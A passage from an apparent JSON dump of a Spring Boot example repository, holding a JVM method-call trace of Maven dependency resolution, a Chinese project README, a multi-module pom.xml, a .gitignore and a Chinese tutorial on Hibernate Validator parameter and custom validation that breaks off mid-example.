org/eclipse/aether/internal/impl/collect/PremanagedDependency <init> (Ljava/lang/String;Ljava/lang/String;Ljava/lang/Boolean;Ljava/util/Collection;Ljava/util/Map;ILorg/eclipse/aether/graph/Dependency;Z)V 3 1 java/lang/Object <init> ()V 3 31 java/util/ArrayList <init> (Ljava/util/Collection;)V 4 1 java/util/AbstractList <init> ()V 5 1 java/util/AbstractCollection <init> ()V 6 1 java/lang/Object <init> ()V 3 34 java/util/Collections unmodifiableCollection (Ljava/util/Collection;)Ljava/util/Collection; 4 5 java/util/Collections$UnmodifiableCollection <init> (Ljava/util/Collection;)V 5 1 java/lang/Object <init> ()V 1 58 org/eclipse/aether/internal/impl/collect/PremanagedDependency getManagedDependency ()Lorg/eclipse/aether/graph/Dependency; 1 65 org/eclipse/aether/graph/Dependency getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 1 68 org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate isLackingDescriptor (Lorg/eclipse/aether/artifact/Artifact;)Z 2 5 org/eclipse/aether/artifact/AbstractArtifact getProperty (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; 3 1 org/eclipse/aether/artifact/DefaultArtifact getProperties ()Ljava/util/Map; 3 5 java/util/Collections$UnmodifiableMap get (Ljava/lang/Object;)Ljava/lang/Object; 3 5 java/util/Collections$EmptyMap get (Ljava/lang/Object;)Ljava/lang/Object; 1 87 org/eclipse/aether/util/graph/traverser/FatArtifactTraverser traverseDependency (Lorg/eclipse/aether/graph/Dependency;)Z 2 3 java/util/Objects requireNonNull (Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object; 2 8 org/eclipse/aether/graph/Dependency getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 2 15 org/eclipse/aether/artifact/AbstractArtifact getProperty (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; 3 1 org/eclipse/aether/artifact/DefaultArtifact getProperties ()Ljava/util/Map; 3 5 java/util/Collections$UnmodifiableMap get (Ljava/lang/Object;)Ljava/lang/Object; 3 5 java/util/Collections$EmptyMap get (Ljava/lang/Object;)Ljava/lang/Object; 2 22 java/lang/Boolean parseBoolean (Ljava/lang/String;)Z 3 3 java/lang/String equalsIgnoreCase (Ljava/lang/String;)Z 4 14 java/lang/String length ()I 5 6 java/lang/String coder ()B 4 18 java/lang/String length ()I 5 6 java/lang/String coder ()B 4 30 java/lang/String length ()I 5 6 java/lang/String coder ()B 1 106 org/eclipse/aether/collection/CollectRequest getRequestContext ()Ljava/lang/String; 1 115 org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate createVersionRangeRequest (Ljava/lang/String;Lorg/eclipse/aether/RequestTrace;Ljava/util/List;Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2 4 org/eclipse/aether/resolution/VersionRangeRequest <init> ()V 3 1 java/lang/Object <init> ()V 3 5 java/util/Collections emptyList ()Ljava/util/List; 2 12 org/eclipse/aether/graph/Dependency getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 2 15 org/eclipse/aether/resolution/VersionRangeRequest setArtifact (Lorg/eclipse/aether/artifact/Artifact;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2 22 org/eclipse/aether/resolution/VersionRangeRequest setRepositories (Ljava/util/List;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2 29 org/eclipse/aether/resolution/VersionRangeRequest setRequestContext (Ljava/lang/String;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2 36 org/eclipse/aether/resolution/VersionRangeRequest setTrace (Lorg/eclipse/aether/RequestTrace;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 1 131 org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate cachedResolveRangeResult (Lorg/eclipse/aether/resolution/VersionRangeRequest;Lorg/eclipse/aether/internal/impl/collect/DataPool;Lorg/eclipse/aether/RepositorySystemSession;)Lorg/eclipse/aether/resolution/VersionRangeResult; 2 2 org/eclipse/aether/internal/impl/collect/DataPool toKey (Lorg/eclipse/aether/resolution/VersionRangeRequest;)Ljava/lang/Object; 3 5 org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey <init> (Lorg/eclipse/aether/resolution/VersionRangeRequest;)V 4 1 java/lang/Object <init> ()V 4 6 org/eclipse/aether/resolution/VersionRangeRequest getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 4 14 org/eclipse/aether/resolution/VersionRangeRequest getRepositories ()Ljava/util/List; 4 25 org/eclipse/aether/artifact/AbstractArtifact hashCode ()I 5 8 org/eclipse/aether/artifact/DefaultArtifact getGroupId ()Ljava/lang/String; 5 11 java/lang/String hashCode ()I 6 19 java/lang/String isLatin1 ()Z 6 29 java/lang/StringLatin1 hashCode ([B)I 6 39 java/lang/StringUTF16 hashCode ([B)I 5 21 org/eclipse/aether/artifact/DefaultArtifact getArtifactId ()Ljava/lang/String; 5 24 java/lang/String hashCode ()I 6 19 java/lang/String isLatin1 ()Z 6 29 java/lang/StringLatin1 hashCode ([B)I 6 39 java/lang/StringUTF16 hashCode ([B)I 5 34 org/eclipse/aether/artifact/DefaultArtifact getExtension ()Ljava/lang/String; 5 37 java/lang/String hashCode ()I 6 19 java/lang/String isLatin1 ()Z 6 29 java/lang/StringLatin1 hashCode ([B)I 6 39 java/lang/StringUTF16 hashCode ([B)I 5 47 org/eclipse/aether/artifact/DefaultArtifact getClassifier ()Ljava/lang/String; 5 50 java/lang/String hashCode ()I 6 19 java/lang/String isLatin1 ()Z 6 29 java/lang/StringLatin1 hashCode ([B)I 6 39 java/lang/StringUTF16 hashCode ([B)I 5 60 org/eclipse/aether/artifact/DefaultArtifact getVersion ()Ljava/lang/String; 5 63 java/lang/String hashCode ()I 6 19 java/lang/String isLatin1 ()Z 6 29 java/lang/StringLatin1 hashCode ([B)I 6 39 java/lang/StringUTF16 hashCode ([B)I 5 73 org/eclipse/aether/artifact/DefaultArtifact getFile ()Ljava/io/File; 5 76 org/eclipse/aether/artifact/AbstractArtifact hash (Ljava/lang/Object;)I 2 11 org/eclipse/aether/internal/impl/collect/DataPool getConstraint (Ljava/lang/Object;Lorg/eclipse/aether/resolution/VersionRangeRequest;)Lorg/eclipse/aether/resolution/VersionRangeResult; 3 5 java/util/concurrent/ConcurrentHashMap get (Ljava/lang/Object;)Ljava/lang/Object; 4 1 org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey hashCode ()I 4 4 java/util/concurrent/ConcurrentHashMap spread (I)I 4 34 java/util/concurrent/ConcurrentHashMap tabAt ([Ljava/util/concurrent/ConcurrentHashMap$Node;I)Ljava/util/concurrent/ConcurrentHashMap$Node; 4 73 org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey equals (Ljava/lang/Object;)Z 4 149 org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey equals (Ljava/lang/Object;)Z 3 18 org/eclipse/aether/internal/impl/collect/DataPool$Constraint toResult (Lorg/eclipse/aether/resolution/VersionRangeRequest;)Lorg/eclipse/aether/resolution/VersionRangeResult; 4 5 org/eclipse/aether/resolution/VersionRangeResult <init> (Lorg/eclipse/aether/resolution/VersionRangeRequest;)V 5 1 java/lang/Object <init> ()V 5 8 java/util/Objects requireNonNull (Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object; 5 18 java/util/Collections emptyList ()Ljava/util/List; 5 25 java/util/Collections emptyList ()Ljava/util/List; 5 32 java/util/Collections emptyMap ()Ljava/util/Map; 4 70 org/eclipse/aether/resolution/VersionRangeResult setVersionConstraint (Lorg/eclipse/aether/version/VersionConstraint;)Lorg/eclipse/aether/resolution/VersionRangeResult; 2 27 org/apache/maven/repository/internal/DefaultVersionRangeResolver resolveVersionRange (Lorg/eclipse/aether/RepositorySystemSession;Lorg/eclipse/aether/resolution/VersionRangeRequest;)Lorg/eclipse/aether/resolution/VersionRangeResult; 3 5 org/eclipse/aether/resolution/VersionRangeResult <init> (Lorg/eclipse/aether/resolution/VersionRangeRequest;)V 4 1 java/lang/Object <init> ()V 4 8 java/util/Objects requireNonNull (Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object; 4 18 java/util/Collections emptyList ()Ljava/util/List; 4 25 java/util/Collections emptyList ()Ljava/util/List; 4 32 java/util/Collections emptyMap ()Ljava/util/Map; 3 13 org/eclipse/aether/util/version/GenericVersionScheme <init> ()V 4 1 java/lang/Object <init> ()V 3 21 org/eclipse/aether/resolution/VersionRangeRequest getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 3 24 org/eclipse/aether/artifact/DefaultArtifact getVersion ()Ljava/lang/String; 3 29 org/eclipse/aether/util/version/GenericVersionScheme parseVersionConstraint (Ljava/lang/String;)Lorg/eclipse/aether/version/VersionConstraint; 4 2 org/eclipse/aether/util/version/GenericVersionScheme parseVersionConstraint (Ljava/lang/String;)Lorg/eclipse/aether/util/version/GenericVersionConstraint; 5 3 java/util/Objects requireNonNull (Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object; 5 14 java/util/ArrayList <init> ()V 6 1 java/util/AbstractList <init> ()V 7 1 java/util/AbstractCollection <init> ()V 8 1 java/lang/Object <init> ()V 5 21 java/lang/String startsWith (Ljava/lang/String;)Z 6 3 java/lang/String startsWith (Ljava/lang/String;I)Z 7 6 java/lang/String length ()I 8 6 java/lang/String coder ()B 7 10 java/lang/String length ()I 8 6 java/lang/String coder ()B 7 39 java/lang/String coder ()B 7 43 java/lang/String coder ()B 7 50 java/lang/String isLatin1 ()Z 7 96 java/lang/String isLatin1 ()Z 5 30 java/lang/String startsWith (Ljava/lang/String;)Z 6 3 java/lang/String startsWith (Ljava/lang/String;I)Z 7 6 java/lang/String length ()I 8 6 java/lang/String coder ()B 7 10 java/lang/String length ()I 8 6 java/lang/String coder ()B 7 39 java/lang/String coder ()B 7 43 java/lang/String coder ()B 7 50 java/lang/String isLatin1 ()Z 7 96 java/lang/String isLatin1 ()Z 5 168 java/lang/String length ()I 6 6 java/lang/String coder ()B 5 175 java/util/ArrayList isEmpty ()Z 5 221 java/util/ArrayList isEmpty ()Z 5 235 org/eclipse/aether/util/version/GenericVersionScheme parseVersion (Ljava/lang/String;)Lorg/eclipse/aether/util/version/GenericVersion; 6 5 org/eclipse/aether/util/version/GenericVersion <init> (Ljava/lang/String;)V 7 1 java/lang/Object <init> ()V 7 8 java/util/Objects requireNonNull (Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object; 7 19 org/eclipse/aether/util/version/GenericVersion parse (Ljava/lang/String;)Ljava/util/List; 8 4 java/util/ArrayList <init> ()V 9 1 java/util/AbstractList <init> ()V 10 1 java/util/AbstractCollection <init> ()V 8 13 org/eclipse/aether/util/version/GenericVersion$Tokenizer <init> (Ljava/lang/String;)V 9 1 java/lang/Object <init> ()V 9 6 java/lang/String length ()I 10 6 java/lang/String coder ()B 9 26 java/lang/String length ()I 10 6 java/lang/String coder ()B 8 25 org/eclipse/aether/util/version/GenericVersion$Tokenizer toItem ()Lorg/eclipse/aether/util/version/GenericVersion$Item; 9 11 java/lang/String length ()I 10 6 java/lang/String coder ()B 9 28 java/lang/Integer parseInt (Ljava/lang/String;)I 10 3 java/lang/Integer parseInt (Ljava/lang/String;I)I 9 31 java/lang/Integer valueOf (I)Ljava/lang/Integer; 10 28 java/lang/Integer <init> (I)V 9 34 org/eclipse/aether/util/version/GenericVersion$Item <init> (ILjava/lang/Object;)V 10 1 java/lang/Object <init> ()V 9 51 java/math/BigInteger <init> (Ljava/lang/String;)V 9 54 org/eclipse/aether/util/version/GenericVersion$Item <init> (ILjava/lang/Object;)V 10 1 java/lang/Object <init> ()V 9 76 java/lang/String length ()I 10 6 java/lang/String coder ()B 9 125 java/lang/String length ()I 3 66 org/eclipse/aether/util/version/GenericVersionConstraint getRange ()Lorg/eclipse/aether/version/VersionRange; 3 77 org/eclipse/aether/util/version/GenericVersionConstraint getVersion ()Lorg/eclipse/aether/version/Version; 1 205 org/eclipse/aether/graph/Dependency getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 1 210 org/eclipse/aether/util/version/GenericVersion toString ()Ljava/lang/String; 1 235 org/eclipse/aether/collection/CollectRequest getRequestContext ()Ljava/lang/String; 1 272 org/eclipse/aether/resolution/ArtifactDescriptorResult getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 1 298 org/eclipse/aether/graph/Dependency getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 1 386 org/eclipse/aether/resolution/ArtifactDescriptorResult getRelocations ()Ljava/util/List; 1 389 java/util/Collections$EmptyList isEmpty ()Z 1 489 org/eclipse/aether/graph/Dependency getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 1 529 org/eclipse/aether/resolution/ArtifactDescriptorResult getAliases ()Ljava/util/Collection; 1 538 org/eclipse/aether/collection/CollectRequest getRequestContext ()Ljava/lang/String; 1 548 org/eclipse/aether/graph/DefaultDependencyNode getChildren ()Ljava/util/List; 1 568 org/eclipse/aether/resolution/ArtifactDescriptorResult getDependencies ()Ljava/util/List; 1 571 java/util/Collections$EmptyList isEmpty ()Z\n"
  },
  {
    "path": "jun_springboot_plugin/README.md",
    "content": "### `jun_plugin` 项目  \n\n### 项目说明\njun_plugin 整合Java企业级各种开发组件、开箱即用、不写重复代码，包含基础Java基础开发组件，Spring企业家开发组，SpringBoot开发组件、SpringCloud开发组件\n\n### 功能清单\n\n3. SpringBoot常用开发组件：**springboot_plugin**，当前**集成106中**类种类库示例与文档。\n\n\n#### 基础篇：企业级开发组件(开发组件、代码生成、前端组件) [jun_java_plugin]\n\n\n> SpringBoot系开发框架组件，基于SpringBoot微服务开发组件，新企业级REST服务\n\n【springboot_actuator】[SpringBoot微服务项目模板,SpringBoot微服务项目模板](https://github.com/wujun728/jun_java_plugin/tree/master/spring_plugin/maven_springboot_permission_example\\)  \n【springboot_admin】[SpringBoot微服务项目模板,SpringBoot微服务项目模板](https://github.com/wujun728/jun_java_plugin/tree/master/spring_plugin/maven_springboot_permission_example\\)  \n【springboot_async】[SpringBoot微服务项目模板,SpringBoot微服务项目模板](https://github.com/wujun728/jun_java_plugin/tree/master/spring_plugin/maven_springboot_permission_example\\)  \n\n\n#### 工程截图(组件较多，随意择选了几个)\n\n<table>\n    <tr>\n\t\t<td><img src=\"\"/>\n\t\t<td><img src=\"\"/>\n    </tr>\n</table>\n\n\n\n#### 开发环境\n- **JDK 1.8 \n- **Maven 3.5 \n- **IDEA 2018.2 + or  STS 4.5 +** (*注意：安装lombok插件）\n\n\n\n\n​\t\n"
  },
  {
    "path": "jun_springboot_plugin/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun_springboot_plugin</artifactId>\n    <version>1.0</version>\n    <packaging>pom</packaging>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n    </properties>\n\n    <modules>\n        <module>springboot_actuator</module>\n        <module>springboot_aop</module>\n        <module>springboot_async</module>\n        <module>springboot_batch</module>\n        <module>springboot_cache</module>\n        <module>springboot_canal</module>\n        <module>springboot_codegen</module>\n        <module>springboot_content_negotiation</module>\n        <module>springboot_cxf</module>\n        <module>springboot_data_jpa</module>\n        <module>springboot_distributed_seckill</module>\n        <module>springboot_docker</module>\n        <module>springboot_drools</module>\n        <module>springboot_dubbo_zookeeper</module>\n        <module>springboot_dynamic_datasource</module>\n        <module>springboot_echarts</module>\n        <module>springboot_ehcache_cache</module>\n        <module>springboot_elastic_job</module>\n        <module>springboot_email</module>\n        <module>springboot_excel</module>\n        <module>springboot_fastdfs</module>\n        <module>springboot_file_upload</module>\n        <module>springboot_file_uploader</module>\n        <module>springboot_flowable</module>\n        <module>springboot_flyway</module>\n        <module>springboot_freemarker</module>\n        <module>springboot_graphql_mongodb</module>\n        <module>springboot_graylog</module>\n        <module>springboot_groovy</module>\n        <module>springboot_hibernate</module>\n        <module>springboot_hibernate_validator</module>\n        <module>springboot_https</module>\n        <module>springboot_jasypt</module>\n        <module>springboot_jackson2</module>\n        <module>springboot_jdbctemplate_multidatasource</module>\n        <module>springboot_jpa_thymeleaf_curd</module>\n        <module>springboot_jsp</module>\n        <module>springboot_junit</module>\n        <module>springboot_jwt</module>\n        <module>springboot_kafka</module>\n        <module>springboot_kisso</module>\n        <module>springboot_ldap</module>\n        <module>springboot_log4jmonitor</module>\n        <module>springboot_logback</module>\n        <module>springboot_mapper_pagehelper</module>\n        <module>springboot_minio</module>\n        <module>springboot_mongodb</module>\n        <module>springboot_mq_rabbitmq</module>\n        <module>springboot_mq_rocketmq</module>\n        <module>springboot_multi_datasource_jpa</module>\n        <module>springboot_multi_datasource_mybatis</module>\n        <module>springboot_multi_threading</module>\n        <module>springboot_multisource</module>\n        <module>springboot_mybatis</module>\n        <module>springboot_mybatis_jsp</module>\n        <module>springboot_mybatisplus</module>\n        <module>springboot_netty_websocket</module>\n        <module>springboot_oauth2</module>\n        <module>springboot_orm_jdbctemplate</module>\n        <module>springboot_oss_aliyun</module>\n        <module>springboot_oss_qiniu</module>\n        <module>springboot_pay</module>\n        <module>springboot_quartz</module>\n        <module>springboot_ratelimit_guava</module>\n        <module>springboot_ratelimit_redis</module>\n        <module>springboot_rbac_security</module>\n        <module>springboot_rbac_shiro</module>\n        <module>springboot_redis</module>\n        <module>springboot_redis_cluster</module>\n        <module>springboot_redis_sentinel</module>\n        <module>springboot_redislock</module>\n        <module>springboot_resttemplate</module>\n        <module>springboot_schedule</module>\n        <module>springboot_security2</module>\n        <module>springboot_session</module>\n        <module>springboot_shardingsphere-mybatisplus</module>\n        <module>springboot_shiro</module>\n        <module>springboot_snaker</module>\n        <module>springboot_justauth</module>\n        <module>springboot_socketio</module>\n        <module>springboot_starter</module>\n        <module>springboot_swagger_beauty</module>\n        <module>springboot_task_xxl_job</module>\n        <module>springboot_template_freemarker</module>\n        <module>springboot_template_thymeleaf</module>\n        <module>springboot_testing</module>\n        <module>springboot_thumbnailator</module>\n        <module>springboot_thymeleaf</module>\n        <module>springboot_transaction</module>\n        <module>springboot_upload</module>\n        <module>springboot_validation</module>\n        <module>springboot_war</module>\n        <module>springboot_webflux</module>\n        <module>springboot_webservice</module>\n        <module>springboot_websocket</module>\n        <module>springboot_websocket_socketio</module>\n        <module>springboot_zookeeper</module>\n    </modules>\n\n    <dependencies>\n        <!-- <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>3.8.1</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>3.1.0</version>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>5.1.40</version>\n        </dependency> -->\n    </dependencies>\n\n    <!-- 依赖声明 -->\n    <dependencyManagement>\n        <dependencies>\n            <!-- SpringBoot的依赖配置-->\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <!-- <version>2.6.9</version> -->\n                <!-- <version>2.3.12.RELEASE</version> -->\n                <!-- <version>2.4.13</version> -->\n                <version>2.5.14</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>cn.hutool</groupId>\n                <artifactId>hutool-all</artifactId>\n                <version>5.8.15</version>\n            </dependency>\n            <dependency>\n                <groupId>com.google.guava</groupId>\n                <artifactId>guava</artifactId>\n                <version>31.1-jre</version>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n    <profiles>\n        <profile>\n            <id>jdk-1.8</id>\n            <activation>\n                <activeByDefault>true</activeByDefault>\n                <jdk>1.8</jdk>\n            </activation>\n            <properties>\n                <maven.compiler.source>1.8</maven.compiler.source>\n                <maven.compiler.target>1.8</maven.compiler.target>\n                <maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>\n            </properties>\n        </profile>\n    </profiles>\n\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.0</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/.gitignore",
    "content": "HELP.md\ntarget/\n!.mvn/wrapper/maven-wrapper.jar\n!**/src/main/**/target/\n!**/src/test/**/target/\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n.sts4-cache\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\n/nbproject/private/\n/nbbuild/\n/dist/\n/nbdist/\n/.nb-gradle/\nbuild/\n!**/src/main/**/build/\n!**/src/test/**/build/\n\n### VS Code ###\n.vscode/\ntarget/\n.idea/\n*.iml\n*.log\nlog/\nlogs/\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/README.md",
    "content": "springboot天生支持使用hibernate validation对参数的优雅校验，如果不使用它，只能对参数挨个进行如下方式的手工校验，不仅难看，使用起来还很不方便：\n\n``` java\nif(StringUtils.isEmpty(userName)){\n\tthrow new RuntimeException(\"用户名不能为空\");\n}\n```\n\n下面将介绍hibernate validation的基本使用方法。\n\n## 一、引入依赖\n\n这里在springboot 2.4.1中进行实验，引入以下依赖：\n\n``` xml\n<parent>\n    <groupId>org.springframework.boot</groupId>\n    <artifactId>spring-boot-starter-parent</artifactId>\n    <version>2.4.1</version>\n    <relativePath/> <!-- lookup parent from repository -->\n</parent>\n\n<dependencies>\n    <dependency>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-test</artifactId>\n        <scope>test</scope>\n    </dependency>\n    <dependency>\n        <groupId>org.projectlombok</groupId>\n        <artifactId>lombok</artifactId>\n        <version>1.18.16</version>\n    </dependency>\n    <dependency>\n        <groupId>org.hibernate.validator</groupId>\n        <artifactId>hibernate-validator</artifactId>\n        <version>6.1.6.Final</version>\n    </dependency>\n</dependencies>\n```\n\n\n##  二、基本请求参数校验\n\n如下的一个spring mvc的请求调用中有一个id参数（Integer类型），如果不允许它为空，该怎么做\n\n1. 在Controller上加上`@Validated`注解\n\n2. 在需要校验的字段前面加上`@NotNull(message = \"用户id不能为空\")`注解\n\n3. 定义全局异常处理类，定制化返回结果\n\n``` java\n   @RestControllerAdvice\n   @Slf4j\n   public class ValidationAdvice {\n       \n       @ExceptionHandler(Exception.class)\n       @ResponseBody\n       public WrapperResult handler(Exception e) {\n           //获取异常信息,获取异常堆栈的完整异常信息\n           StringWriter sw = new StringWriter();\n           PrintWriter pw = new PrintWriter(sw);\n           e.printStackTrace(pw);\n           //日志输出异常详情\n           log.error(sw.toString());\n           return WrapperResult.faild(\"服务异常，请稍后再试\");\n       }\n   \n       @ExceptionHandler(ConstraintViolationException.class)\n       @ResponseBody\n       public WrapperResult handler(ConstraintViolationException e) {\n           StringBuffer errorMsg = new StringBuffer();\n           Set<ConstraintViolation<?>> violations = e.getConstraintViolations();\n           violations.forEach(x -> errorMsg.append(x.getMessage()).append(\";\"));\n           return WrapperResult.faild(errorMsg.toString());\n       }\n   }\n```\n\nController层代码如下所示：\n\n``` java\n   @RestController\n   @Slf4j\n   @RequestMapping(\"/user\")\n   @Validated\n   public class UserController {\n   \n       /**\n        * 根据id查询用户信息\n        *\n        * @param id\n        * @return\n        */\n       @GetMapping\n       public WrapperResult<UserModel> findUser(@NotNull(message = \"用户id不能为空\")\n                                                @RequestParam(value = \"id\")\n                                                String id) {\n           return WrapperResult.success(new UserModel());\n       }\n   }\n```\n\n如果发起请求`127.0.0.1:8080/user?id=` 则会返回结果\n\n``` json\n   {\n       \"status\": 1,\n       \"data\": \"用户id不能为空;\",\n       \"msg\": \"FAIL\",\n       \"success\": false\n   }\n```\n\n## 三、对象内参数校验\n\n上面是GET请求，下面介绍POST请求，请求对象内的参数校验。\n\n### 1.Controller类上加上@Validated注解\n\n``` java\n@RestController\n@Slf4j\n@RequestMapping(\"/user\")\n**@Validated**\npublic class UserController {\n}\n```\n\n### 2.在POST请求方法参数前面加上`@Validated `注解\n\n``` java\n    @PostMapping(\"/mobile-regist\")\n    public WrapperResult<Boolean> mobileRegit(@Validated @RequestBody UserModel userModel) {\n        return WrapperResult.success(true);\n    }\n```\n\n### 3.在上面介绍的`ValidationAdvice`类中加上对象参数校验异常捕获\n\n``` java\n//处理校验异常，对于对象类型的数据的校验异常\n    @ExceptionHandler(MethodArgumentNotValidException.class)\n    @ResponseBody\n    public WrapperResult handler(MethodArgumentNotValidException e) {\n        StringBuffer sb = new StringBuffer();\n        List<ObjectError> allErrors = e.getBindingResult().getAllErrors();\n        allErrors.forEach(msg -> sb.append(msg.getDefaultMessage()).append(\";\"));\n        return WrapperResult.faild(sb.toString());\n    }\n```\n\nUserModel类的定义如下：\n\n``` java\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\n@Accessors(chain = true)\npublic class UserModel {\n\n    @NotEmpty(message = \"姓名不能为空\")\n    private String name;\n\n    @NotEmpty(message = \"手机号不能为空\")\n//    @Mobile(message = \"手机号格式不正确\")\n    private String mobile;\n\n    @NotEmpty(message = \"电子邮箱不能为空\")\n\t@Email(message = \"电子邮箱格式不正确\")\n    private String email;\n\n    private String password;\n\n    private String address;\n\n    @NotNull(message = \"年龄不能为空\")\n    @Min(value = 12, message = \"允许注册年龄最小为12岁\")\n    @Max(value = 24, message = \"允许年龄最大为24岁\")\n    private Integer age;\n\n    @NotEmpty(message = \"联系人不允许为空\")\n    @Size(min = 1, max = 3, message = \"联系人长度只允许1到3之间\")\n    private List<String> contacts;\n}\n```\n\n如果POST请求如下所示\n\n``` json\n{\n    \"name\":\"\",\n    \"mobile\":\"12666666666\",\n    \"email\":\"\",\n    \"password\":\"\",\n    \"address\":\"\",\n    \"age\": null,\n    \"contacts\":[\n\n    ]\n}\n```\n\n则会返回如下定制化返回结果：\n\n``` json\n{\n    \"status\": 1,\n    \"data\": \"电子邮箱不能为空;联系人长度只允许1到3之间;年龄不能为空;联系人不允许为空;姓名不能为空;手机号格式不正确;\",\n    \"msg\": \"FAIL\",\n    \"success\": false\n}\n```\n\n## 四、自定义校验器\n\n像是@NotNull、@Email等注解都是hibernate validation 内置的注解，我们想开发像是@Email注解一样功能的注解，如何做呢，比如@Mobile，它的使用方法将和@Email一模一样。\n\n首先，先定义一个工具类存放`ValidationUtil`两个常量值\n\n``` java\npublic class ValidationUtil {\n    //手机号校验正则\n    public static final String MOBILE_REGX = \"^[1][3-9][0-9]{9}$\";\n\n    public static final String MOBILE_MSG = \"手机号格式错误\";\n}\n```\n\n### 1.定义注解`Mobile`\n\n具体代码可以参考@Email的实现，直接将Email名字改成Mobile即可，如下所示：\n\n``` java\n@Documented\n@Target({METHOD, FIELD, ANNOTATION_TYPE, CONSTRUCTOR, PARAMETER, TYPE_USE})\n@Retention(RUNTIME)\npublic @interface Mobile {\n\n    String message() default ValidationUtil.MOBILE_MSG;\n\n    Class<?>[] groups() default {};\n\n    Class<? extends Payload>[] payload() default {};\n\n    String regexp() default ValidationUtil.MOBILE_REGX;\n\n    Pattern.Flag[] flags() default {};\n\n    @Target({METHOD, FIELD, ANNOTATION_TYPE, CONSTRUCTOR, PARAMETER, TYPE_USE})\n    @Retention(RUNTIME)\n    @Documented\n    public @interface List {\n        Mobile[] value();\n    }\n}\n```\n\n### 2.定义`MobileValidator`实现对参数的校验逻辑\n\n``` java\npublic class MobileValidator implements ConstraintValidator<Mobile, String> {\n\n    private String regexp;\n\n    @Override\n    public void initialize(Mobile constraintAnnotation) {\n        //获取校验的手机号的格式\n        this.regexp = constraintAnnotation.regexp();\n    }\n\n    @Override\n    public boolean isValid(String value, ConstraintValidatorContext context) {\n        if (!StringUtils.hasText(value)) {\n            return true;\n        }\n        return value.matches(regexp);\n    }\n}\n```\n\n### 3.使用方法和`@Email`一模一样\n\n不赘述\n\n## 五、分组校验\n\n假设一个用户注册的场景，用户注册有三种方式\n\n1. 用户名+图形验证码注册\n\n2. 邮箱+邮箱验证码注册\n\n3. 手机号+短信验证码注册\n\n用户注册的时候除了方式不一样，其他用户信息基本相同，后端开了三个接口对应着着三种注册方式，请求体中我们使用一个Model封装了以上所有信息，包含着用户名、邮箱、手机号等信息，这时候不同的接口被调用，model中需要校验的参数就不一样了：\n\n用户名注册的时候邮箱地址和手机号可以为空，但是用户名不能为空；通过邮箱注册的时候，邮箱地址不能为空，但是用户名和手机号可以为空；......\n\n分组校验专门应对这种情况。\n\n### 1.首先定义三个接口，表示三种组类别\n\n``` java\npublic interface ValidEmail {\n}\n\npublic interface ValidMobile {\n}\n\npublic interface ValidUserName {\n}\n\n```\n\n### 2.在UserModel实体类上指名组类别\n\n``` java\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\n@Accessors(chain = true)\npublic class UserModel {\n\n    @NotEmpty(message = \"姓名不能为空\", groups = {ValidUserName.class})\n    @UserName(groups = {ValidUserName.class})\n    private String name;\n\n    @NotEmpty(message = \"手机号不能为空\", groups = {ValidMobile.class})\n 